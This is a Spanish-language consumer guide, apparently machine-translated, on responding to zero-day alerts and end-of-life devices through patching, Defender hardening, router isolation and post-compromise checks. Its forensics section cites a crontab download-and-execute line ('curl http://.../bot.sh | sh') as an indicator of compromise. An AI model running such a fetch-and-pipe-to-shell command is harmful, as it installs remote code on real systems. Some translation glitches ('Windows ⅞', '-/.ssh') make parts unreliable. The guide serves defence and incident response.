Alertas de vulnerabilidad de día cero, parches de emergencia y aislamiento de red¶

Despertar con un aviso urgente de ciberseguridad de la Agencia de Seguridad de Infraestructura y Ciberseguridad de EE. UU. (CISA), el Centro Nacional de Seguridad Cibernética del Reino Unido (NCSC), Apple, Google o Microsoft advierten que una vulnerabilidad crítica de día cero (0-Day) está siendo explotado activamente en la naturaleza (KEV) contra su iPhone, teléfono Android, PC con Windows, Mac, navegador Chrome, firewall VPN de casa/oficina o almacenamiento conectado a la red (NAS) conducir, o descubrir que el enrutador Wi-Fi de su hogar, la cámara de seguridad NVR o su computadora más antigua han alcanzado el Fin de vida útil (EoL / Fin del soporte) y nunca recibirá un parche para una falla de ejecución remota de código recientemente revelada; requiere una clasificación inmediata. A diferencia de las actualizaciones de software mensuales de rutina, un día cero explotado activamente significa que los actores de amenazas ya poseen un exploit armado funcional (como un exploit de análisis de imágenes de iMessage/WhatsApp sin clic, un exploit malicioso de navegador de representación de fuentes/WebP o un exploit de inyección de comandos de puerto WAN no autenticado contra enrutadores y dispositivos NAS) antes de que los defensores hayan implementado la solución. Una vez que se realizó una prueba de concepto de día cero (PoC) se publica o se agrega a Vulnerabilidades explotadas conocidas de CISA (KEV) Catálogo, botnets automatizados (Mirai, Volt Typhoon, afiliados de ransomware) escanean todo Internet IPv4 en 15 a 45 minutos para secuestrar todos los dispositivos sin parches expuestos a la web abierta.

Si un exploit de día cero ha alterado equipos de seguridad humana, sistemas clínicos hospitalarios o infraestructura de servicios públicos, o implica amenazas de extorsión física, llame a su número de emergencia local (911 en Estados Unidos y Canadá, 112 en toda la Unión Europea, 999 en el Reino Unido) o consulte nuestro directorio de empresas internacionales números de emergencia inmediatamente. Para todas las alertas de día cero y de fin de vida útil para consumidores, oficinas domésticas y pequeñas empresas (EoL) emergencias de hardware, ejecute el flujo de trabajo de parcheo rápido, mitigación temporal y aislamiento de red que se detalla a continuación.

Haz esto ahora¶

1. Aplicar emergencia fuera de banda (OOB) parches Y complete el reinicio completo/reinicio del navegador inmediatamente: Descargar una actualización de emergencia es inútil hasta que se descargue el código vulnerable en la RAM. En Chrome, Edge, Brave y Firefox, un día cero parcheado permanece explotable en la memoria hasta que haces clic en el botón superior derecho "Reiniciar para actualizar" (chrome://settings/help). En iOS, macOS, Windows y Android, active la actualización manualmente y reinicie el dispositivo por completo (lo que también purga el software espía no persistente residente en la memoria).
2. Si un día cero NO tiene parche disponible todavía ("Día 0 sin parche"), aplique la solución temporal del proveedor o la reducción de la superficie de ataque (ASR) regla actual: cuando se divulga una vulnerabilidad antes de compilar un parche, CISA y el proveedor publican una mitigación temporal (como deshabilitar UPnP y la administración remota de WAN en un enrutador, activar el Modo de bloqueo de Apple en iOS/macOS, deshabilitar JavaScript JIT en Edge/Chrome o bloquear un puerto TCP/UDP específico en el firewall).
3. Audite su dirección IP pública en Shodan.io o GRC ShieldsUP ahora mismo y cierre todos los puertos WAN expuestos (Port Forwarding / UPnP / DMZ): El noventa por ciento de los devastadores ataques de día cero en hogares y pequeñas empresas afectan a dispositivos a los que se puede acceder directamente desde la Internet pública (QNAP / Synology unidades NAS, ASUS / Netgear / TP-Link páginas de administración del enrutador, Plex, RDP Port 3389, o VPN electrodomésticos). Inicie sesión en su enrutador y desactive Administración remota de WAN, UPnP (Universal Plug and Play) y DMZ Host inmediatamente después de nuestra Guía para proteger enrutadores domésticos y dispositivos IoT.
4. Reinicie su teléfono móvil y enrutador inmediatamente si sospecha que hay software espía sin hacer clic o una infección de botnet: Explotaciones sofisticadas de día cero contra teléfonos inteligentes (Pegasus, Predator, Triangulation) y enrutadores SOHO (VPNFilter, KV Botnet) a menudo se ejecuta puramente dentro de volátiles RAM para evitar la detección en el disco. Apagar el dispositivo por completo, esperar 60 segundos y volver a encenderlo obliga al atacante a volver a explotar el dispositivo (lo que falla una vez que el parche de emergencia o el modo de bloqueo están activos).
5. Supongamos que parchear un día cero NO expulsa a un atacante que ya había violado su dispositivo antes de aplicar el parche: un parche de software cierra la ventana abierta, pero no elimina puertas traseras, shells web, cuentas de administrador fraudulentas ni cookies de sesión robadas creadas si un atacante aprovechó su sistema ayer. Si su enrutador, NAS, VPN o servidor estuvo expuesto a Internet durante una conexión no autenticada CVSS 9.8+ El día cero estaba activo en la naturaleza, verifique los registros para ver los indicadores de compromiso (IoCs), rotar todas las credenciales y restablecer los valores de fábrica o reconstruir si se ve comprometido.
6. Aislar cualquier final de vida útil (EoL) dispositivo que ya no puede recibir parches de seguridad en una VLAN de invitado/IoT estricta con acceso a Internet WAN bloqueado: nunca deje una PC con Windows ⅞/10 al final de su vida útil, una Mac antigua no compatible, un Android/iPhone obsoleto o un enrutador Wi-Fi descontinuado conectado directamente a su LAN principal o a Internet abierto. Si un enrutador EoL es su principal puerta de enlace a Internet, desconéctelo y reemplácelo inmediatamente.

Árbol de decisión: triaje de emergencia para alertas activas de día cero y fin de vida útil (EoL) hardware¶

Siga este árbol de decisiones estructurado siempre que un aviso urgente de vulnerabilidad de día cero o un aviso de fin de vida útil afecte su software o hardware:

flowchart TD
    Alert["Se anuncia una alerta urgente de día cero (0-Day) o CISA KEV para su sistema operativo, navegador, enrutador o NAS"] --> PatchCheck{"1. ¿Ha publicado el proveedor un parche de seguridad de emergencia?"}
    PatchCheck -->|"Sí: parche disponible"| Exposure{"2. ¿Estuvo su dispositivo expuesto directamente a Internet (puerto WAN abierto) antes de aplicar el parche?"}
    Exposure -->|"No: Dispositivo cliente detrás de NAT (teléfono, computadora portátil, navegador)"| Apply["Instale la actualización a través de la configuración nativa + reinicio completo/reinicio del navegador inmediatamente"]
    Exposure -->|"Sí: enrutador público, NAS, VPN o servidor"| Forensic["CRÍTICO: La aplicación de parches por sí sola no expulsa a los atacantes. Inspeccionar registros en busca de shells web/administradores no autorizados, parches, rotación de claves o restablecimiento de fábrica"]
    PatchCheck -->|"No: día 0 sin parches O el dispositivo está al final de su vida útil (EoL)"| EoLCheck{"3. ¿El dispositivo está al final de su vida útil (EoL) de forma permanente o está esperando un parche del proveedor?"}
    EoLCheck -->|"Esperando parche del proveedor (período temporal de día 0)"| Mitigate["Aplique una solución alternativa de emergencia: cierre los puertos WAN, habilite el modo de bloqueo de Apple/Windows ASR o deshabilite el servicio vulnerable"]
    EoLCheck -->|"Fin de vida útil permanente (nunca llegará ningún parche)"| Role{"4. ¿Qué función desempeña el dispositivo EoL?"}
    Role -->|"Enrutador de borde/cortafuegos/módem"| Replace["DESCONECTE Y REEMPLAZO INMEDIATAMENTE (O firmware OpenWrt compatible con Flash si es compatible con el hardware)"]
    Role -->|"PC heredada, teléfono antiguo, impresora, cámara o NAS"| Isolate["Air-Gap o traslado a una VLAN IoT aislada + bloquear el acceso a Internet en el firewall del enrutador"]

Leer un aviso de día cero como un ingeniero de seguridad (decodificar CVE, CVSS, CISA KEV, y EPSS)¶

No todas las vulnerabilidades de software reportadas en los medios requieren dejar todo a las 2:00 a.m. Comprender los cinco indicadores técnicos dentro de un funcionario. CISA, NIST NVD, o el boletín de seguridad del proveedor le informa en 30 segundos si se enfrenta a un error de laboratorio teórico o a un incendio doméstico de cinco alarmas:

Fase 1: Verificación y parches de emergencia de día cero en todas las plataformas principales¶

Cuando un día cero activo llega a su sistema operativo o navegador web, no espere los períodos de mantenimiento automático durante la noche (que a menudo retrasan la instalación de 3 a 14 días). Fuerce la extracción y verifique el número de compilación manualmente:

1. Navegadores web (Google Chrome, Microsoft Edge, Brave, Firefox, Safari): el objetivo número uno de día cero¶

Debido a que los navegadores web analizan JavaScript que no es de confianza (V8 / SpiderMonkey / JavaScriptCore compiladores JIT), transmisiones de vídeo WebRTC, gráficos WebGL y formatos de imagen (WebP, libvpx, FreeType) de cada sitio y anuncio que visite, los días cero del navegador representan la mayoría de las alertas de día cero de los consumidores. 1. Google Chrome: Escriba chrome://settings/help en la barra de direcciones. Chrome comprobará inmediatamente los servidores de actualización de Google y descargará el parche. Debes hacer clic en el botón azul "Reiniciar" que aparece, y si tienes procesos de Chrome ocultos en segundo plano ejecutándose en la bandeja del sistema, ciérralos todos o reinicia tu computadora para que el antiguo sistema vulnerable chrome.exe El binario está completamente descargado de la RAM. 2. Microsoft Edge: Escriba edge://settings/help, espera a que la descarga alcance el 100% y haz clic en Reiniciar. 3. Brave Browser: Escribe brave://settings/help y haga clic en Relanzar. 4. Mozilla Firefox: haga clic en el botón Menú -> Ayuda -> Acerca de Firefox (o escriba about:preferences#general -> desplácese hasta Actualizaciones de Firefox) y haga clic en Reiniciar para actualizar Firefox. 5. Apple Safari: las actualizaciones de Safari se incluyen directamente dentro de Actualizaciones del sistema iOS, iPadOS y macOS (además de las actualizaciones independientes de Safari en System Settings -> General -> Software Update para macOS Sonoma/Ventura).

2. Teléfonos inteligentes y tabletas (Apple iOS/iPadOS y Google Android)¶

Los días cero móviles (especialmente iMessage sin clic, FaceTime, WebKit, módem de banda base y fallas en el sistema Android/GPU Qualcomm) son muy utilizados por el software espía comercial (Pegasus, Predator) y actores de amenazas específicos. - Apple iPhone y iPad (iOS / iPadOS): 1. Abra Configuración -> General -> Actualización de software. 2. Active Actualizaciones automáticas -> Respuestas de seguridad y archivos de sistema (para que las Respuestas rápidas de seguridad/mejoras de seguridad en segundo plano de Apple se apliquen automáticamente entre las principales versiones de iOS). 3. Instale la actualización de iOS pendiente de inmediato, que incluye un reinicio completo del kernel. - Teléfonos inteligentes Android (Google Pixel, Samsung Galaxy, etc.): 1. En realidad, Android tiene dos canales de actualización de seguridad separados que debes verificar de forma independiente: - Canal A (Nivel de parche de seguridad del sistema operativo): Abra Configuración -> Seguridad y privacidad -> Sistema y actualizaciones -> Actualización de seguridad (e inspeccione la fecha: debe ser dentro de los últimos 30 a 60 días). - Canal B (Actualización del sistema de Google Play/Proyecto principal): Abra Configuración -> Seguridad y privacidad -> Sistema y actualizaciones -> Actualización del sistema de Google Play. Muchos días cero críticos en los códecs multimedia, la pila de Wi-Fi y el tiempo de ejecución de Android se parchean a través de Actualizaciones del sistema de Google Play sin esperar la actualización de firmware mensual de su proveedor. Toca Buscar actualizaciones, instalar y Reiniciar ahora.

3. Sistemas operativos de escritorio (Windows 10/11, macOS y Linux)¶

• Windows 10 y Windows 11:
• Abrir Configuración (Win + I) -> Actualización de Windows -> Buscar actualizaciones.
• Consulte también Seguridad de Windows -> Protección contra virus y amenazas -> Actualizaciones de protección -> Buscar actualizaciones (Microsoft envía con frecuencia detecciones de emergencia de día cero y parches virtuales de vulnerabilidad dentro de las actualizaciones diarias de definiciones de Microsoft Defender Security Intelligence horas antes de que esté listo un parche acumulativo completo de Windows).
• Apple macOS:
• Abra Menú Apple -> Configuración del sistema -> General -> Actualización de software. Asegúrese de que "Instalar respuestas de seguridad y archivos del sistema" esté activado debajo de la información (i) botón.
• ** Linux (Ubuntu / Debian y RHEL / Fedora)**:
• Ejecute una actualización inmediata del repositorio de seguridad y verifique si hay un kernel o una biblioteca compartida (glibc, openssl, openssh, xz, cups) es necesario reiniciar:

# Ubuntu / Debian: Pull emergency patches & check if reboot/service restart is required
sudo apt update && sudo apt full-upgrade -y
cat /var/run/reboot-required 2>/dev/null || echo "No kernel reboot required"
sudo needrestart -r i 2>/dev/null

# Fedora / RHEL / Rocky / AlmaLinux: Pull emergency security advisories
sudo dnf upgrade --security --refresh -y
sudo dnf needs-restarting -r

Fase 2: Soluciones de emergencia cuando todavía NO existe ningún parche (sobrevivir a una ventana de "día cero sin parches")¶

¿Qué haces cuando CISA, Microsoft, Apple, o una empresa de seguridad anuncia que se está explotando activamente una vulnerabilidad crítica en este momento, pero el proveedor dice que el parche oficial no estará listo hasta dentro de 3 a 10 días? Debes aplicar inmediatamente Controles de Compensación y Reducción de la Superficie de Ataque (ASR) para romper la cadena de exploits antes de que pueda ejecutarse:

Script de copiar y pegar: refuerzo de emergencia de día cero de Windows PowerShell (ASR Reglas)¶

Si un día cero de Windows, Office o PDF sin parches circula libremente y está ejecutando Windows 10/11 Pro/Enterprise (o usando Defender en Windows Home a través del registro/PowerShell), ejecute estos comandos en PowerShell (Ejecutar como administrador) para activar el núcleo de Microsoft Defender Reducción de superficie de ataque (ASR) reglas en Block modo (1):

# 1. Force an immediate emergency pull of Microsoft Defender zero-day signatures
Update-MpSignature

# 2. Enable PUA Protection, Cloud Block at High+, and Network Protection
Set-MpPreference -PUAProtection Enabled
Set-MpPreference -EnableNetworkProtection Enabled
Set-MpPreference -CloudBlockLevel HighPlus
Set-MpPreference -CloudExtendedTimeout 50

# 3. Enable Critical Attack Surface Reduction (ASR) Rules in Block Mode (Value = 1)
# Blocks Office apps from creating child processes, blocks LSASS credential theft,
# blocks untrusted/unsigned processes from USB, and blocks obfuscated scripts
$ASRGuids = @(
    "D4F940AB-401B-4EFC-AADC-AD5F3C50688A", # Block all Office applications from creating child processes
    "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2", # Block credential stealing from the Windows local security authority subsystem (lsass.exe)
    "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC", # Block execution of potentially obfuscated scripts
    "3B576869-A4EC-4529-8536-B80A7769E899", # Block Office applications from creating executable content
    "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c", # Block Adobe Reader from creating child processes
    "b2b3f03d-6a65-4f7b-a9c7-1c7ef74adc99"  # Block untrusted and unsigned processes that run from USB
)
foreach ($Guid in $ASRGuids) {
    Add-MpPreference -AttackSurfaceReductionRules_Ids $Guid -AttackSurfaceReductionRules_Actions Enabled
}

Fase 3: Qué hacer cuando su dispositivo llegue al final de su vida útil (EoL / Fin del soporte)¶

Cada pieza de hardware y software eventualmente llega al Fin de vida útil (EoL) o Fin del soporte (EoS), la fecha después de la cual el fabricante deja definitivamente de lanzar parches de seguridad, incluso cuando sean catastróficos. CVSS 10.0 Se descubren vulnerabilidades de día cero. - Por qué el fin de vida útil es una emergencia activa: los atacantes utilizan "diferencia binaria" automatizada (BinDiff / Ghidra) en parches lanzados para modelos compatibles (por ejemplo, Windows 11 o un nuevo enrutador TP-Link 2025) para aplicar ingeniería inversa a la vulnerabilidad exacta y luego activar inmediatamente ese exploit contra modelos al final de su vida útil (como Windows ⅞/Windows 10 sin suscripción, versiones anteriores de macOS o enrutadores de 5 años) que comparten el mismo código heredado pero que nunca obtendrán el parche ("Exploits de días para siempre").

El final de vida útil de 4 niveles (EoL) Protocolo de aislamiento y reemplazo de hardware¶

Utilice esta matriz de decisiones para manejar cada dispositivo al final de su vida útil en su hogar u oficina sin correr el riesgo de una violación en toda la red:

Cómo bloquear un final de vida útil (EoL) Impresora, cámara o NAS dentro de una "cárcel solo local sin Internet" en su enrutador¶

Si tiene una impresora de red antigua, un televisor inteligente, una cámara de seguridad IP o una unidad NAS antigua que todavía funciona bien localmente en su red doméstica (LAN) pero ha llegado al final de su vida útil y nunca recibirá otro parche de seguridad, no tiene que tirarlo a la basura si bloquea su comunicación con Internet externo (WAN): 1. Inicie sesión en la consola de administración de su enrutador Wi-Fi principal. 2. Vaya a Configuración de LAN/Servidor DHCP -> Concesión de DHCP estática (Reserva de dirección) y asigne la EoL del dispositivo. MAC Address una dirección IP local estática permanente (por ejemplo, 192.168.1.240). 3. Vaya a Firewall/Controles parentales/Control de acceso/Reglas de tráfico en la configuración de su enrutador: - Crea una regla para 192.168.1.240 (o su MAC Address) configurado en Bloquear todo el acceso a Internet (WAN) (Outbound & Inbound WAN = DROP/REJECT). - Alternativamente, dentro de la configuración de red manual del dispositivo EoL, configure su IP estática en 192.168.1.240, Máscara de subred a 255.255.255.0, y dejar el Default Gateway y DNS Server campos completamente en blanco (o configure la puerta de enlace predeterminada a una IP inexistente como 192.168.1.254). Sin una puerta de enlace predeterminada válida, la impresora o cámara EoL aún puede imprimir o transmitir a computadoras en su local 192.168.1.x subred, pero es físicamente incapaz de enrutar paquetes a Internet o de acceder a ellos desde Internet.

Fase 4: análisis forense posterior a la explotación si su dispositivo estuvo expuesto antes de aplicar el parche¶

cuando un CVSS 9.8+ El día cero no autenticado afecta a un dispositivo con conexión a Internet (como un enrutador doméstico o de pequeña empresa, una puerta de enlace VPN, QNAP / Synology NAS, Plex servidor de medios o escritorio con puerto reenviado), aplicar la actualización de firmware del proveedor solo cierra la puerta principal. Si un escáner automatizado llega a su dirección IP pública antes de aplicar el parche, es posible que el atacante ya haya colocado una puerta trasera persistente que sobrevive a un reinicio estándar. Ejecute esta auditoría forense posterior al parche de 4 pasos:

1. Compruebe si hay cuentas de administrador no autorizadas y claves SSH:
2. Abra la pantalla de administración Usuarios/Administradores en su NAS, enrutador o computadora y verifique que no haya cuentas de administrador desconocidas (como support, admin2, backup, o system) se crearon durante la ventana de día cero.
3. En sistemas Linux/macOS/NAS, inspeccione -/.ssh/authorized_keys y /root/.ssh/authorized_keys para verificar que no se hayan agregado claves SSH públicas no autorizadas.
4. Auditar conexiones de red salientes activas (netstat / Monitor de tráfico del enrutador) y configuración de DNS:
5. Los enrutadores SOHO y dispositivos NAS comprometidos con frecuencia tienen sus servidores DNS WAN primarios y secundarios secuestrados para apuntar a una dirección IP no autorizada, o mantener una conexión persistente de shell inverso/botnet (SOCKS5 apoderado o Tor relé).
6. Inicie sesión en la Configuración de WAN/Internet de su enrutador y confirme que el DNS esté configurado en el valor predeterminado de su ISP o en un solucionador público verificado (1.1.1.1, 8.8.8.8, o 9.9.9.9).
7. Verificar cron Trabajos, scripts de inicio y directorios raíz web para shells web:
8. Los exploits de día cero contra dispositivos administrados por web casi siempre reducen una pequeña cantidad. .php, .jsp, .aspx, o .cgi web shell en el directorio del servidor web del dispositivo o inyectar un persistente crontab línea de descarga y ejecución (curl http://.../bot.sh | sh).
9. Si su enrutador o NAS muestra un uso elevado de CPU inexplicable, picos extraños de tráfico saliente o archivos binarios del sistema modificados después de una alerta de día cero, no confíe únicamente en una actualización de firmware local: haga una copia de seguridad de sus archivos de datos de usuario puros (fotos y documentos únicamente, nunca copias de seguridad de la configuración del sistema que puedan contener el trabajo cron del atacante), realice un restablecimiento de fábrica completo del hardware, instale manualmente el último firmware parcheado desde una computadora limpia y establezca una contraseña de administrador nueva y una semilla MFA nueva.
10. Rote todas las credenciales almacenadas o pasadas a través del dispositivo vulnerable:
11. Si un dispositivo VPN perimetral, enrutador o NAS se vio comprometido antes de aplicar el parche, cualquier contraseña de texto sin formato, credenciales de recursos compartidos de red SMB, claves API de respaldo en la nube (AWS S3, Backblaze B2, Wasabi), o las claves privadas SSL/TLS almacenadas en ese dispositivo deben revocarse y regenerarse inmediatamente.

Preguntas frecuentes¶

¿La instalación de un parche de día cero elimina a los piratas informáticos si mi dispositivo ya estaba explotado antes de actualizar?¶

No. Un parche de seguridad de software sólo repara la vulnerabilidad del código subyacente, por lo que futuros intentos de explotación fallan; no desaloja a un atacante que ya aprovechó la vulnerabilidad antes de aplicar el parche y colocó un shell web persistente, un binario de puerta trasera, una tarea programada o una cuenta de administrador fraudulenta, ni invalida las cookies de sesión ni las contraseñas que ya robaron. Si su dispositivo estuvo expuesto directamente a la Internet pública (como un enrutador, NAS, dispositivo VPN o servidor público) mientras se explotaba activamente un día cero no autenticado en la naturaleza, debe inspeccionar los registros del sistema en busca de indicadores de compromiso (IoC), rotar todas las contraseñas y claves SSH/API y realizar un restablecimiento limpio de fábrica o una reinstalación del sistema operativo si se produjo algún acceso no autorizado.

¿Cómo puedo comprobar si mi enrutador Wi-Fi o mi computadora ha llegado al final de su vida útil (EoL)?¶

Mire la etiqueta del fabricante en la parte inferior de su enrutador (observando el número de modelo exacto y la revisión de hardware, como v1, v2 o v4) y consulte la página web oficial de la lista de productos de fin de vida útil/fin de servicio del fabricante (publicada por ASUS, Netgear, TP-Link, Linksys, D-Link, Synology y QNAP), o consulte la base de datos de la comunidad en endoflife.date para conocer los sistemas operativos, teléfonos y software. Además, inicie sesión en la pantalla de actualización del firmware de su enrutador: si la fecha del firmware disponible más reciente tiene más de 18 a 24 meses, trate el enrutador como de facto al final de su vida útil y reemplácelo o actualice el firmware OpenWrt compatible.

¿Puedo hacer que una PC con Windows 10 al final de su vida útil o una Mac antigua sean seguras sin comprar una computadora nueva?¶

Sí. Cuando Microsoft finaliza el soporte de seguridad gratuito para el consumidor para una versión de Windows o Apple elimina un modelo Intel anterior o un modelo anterior de Mac de las actualizaciones de macOS, el hardware físico de la computadora está bien; sólo el sistema operativo está al final de su vida útil. Puede inscribir una PC con Windows 10 en el programa oficial de Actualizaciones de seguridad extendidas (ESU) de Microsoft, o hacer una copia de seguridad de sus archivos e instalar un sistema operativo Linux gratuito, moderno y con parches activos, como Linux Mint, Ubuntu LTS, Fedora o Google ChromeOS Flex a través de una unidad flash USB, lo que le brinda a su computadora portátil existente otros 5 a 8 años de actualizaciones continuas de seguridad del kernel y del navegador de día cero.

Fuentes verificadas¶

• Agencia de Seguridad de Infraestructura y Ciberseguridad (CISA, Estados Unidos): Vulnerabilidades explotadas conocidas (KEV) Catálogo, Directiva operativa vinculante BOD 22-01 (Reducir el riesgo significativo de vulnerabilidades explotadas conocidas), y BOD 23-02 (Mitigación del riesgo de las interfaces de gestión expuestas a Internet).
• Oficina Federal de Investigaciones (FBI), Agencia de Seguridad Nacional (NSA), y Centro Nacional de Seguridad Cibernética del Reino Unido (NCSC): Asesoramiento conjunto sobre ciberseguridad sobre la mitigación de la explotación de botnets al final de su vida útil (EoL) Enrutadores, cortafuegos y dispositivos VPN SOHO.
• Instituto Nacional de Estándares y Tecnología (NIST, Estados Unidos): SP 800-40 Rev. 4, Guía para la planificación de la gestión de parches empresariales: mantenimiento preventivo para la tecnología.
• Apple Platform Security & Citizen Lab (Universidad de Toronto): Arquitectura del modo de bloqueo de iOS/macOS y pautas de mitigación de software espía sin clic de respuesta rápida de seguridad.
• Centro de respuesta de seguridad de Microsoft (MSRC): Reducción de la superficie de ataque de Microsoft Defender (ASR) Referencia de implementación para mitigación de día cero y fuera de banda (OOB) Guía de actualización de seguridad.

Guías relacionadas¶

• Protección de enrutadores domésticos, televisores inteligentes y dispositivos IoT
• Eliminación de infecciones por malware, ransomware y spyware
• Detección de stalkerware, spyware y keyloggers en teléfonos
• Respuesta a violaciones de datos, contraseñas filtradas y congelaciones de crédito
• Números de emergencia por país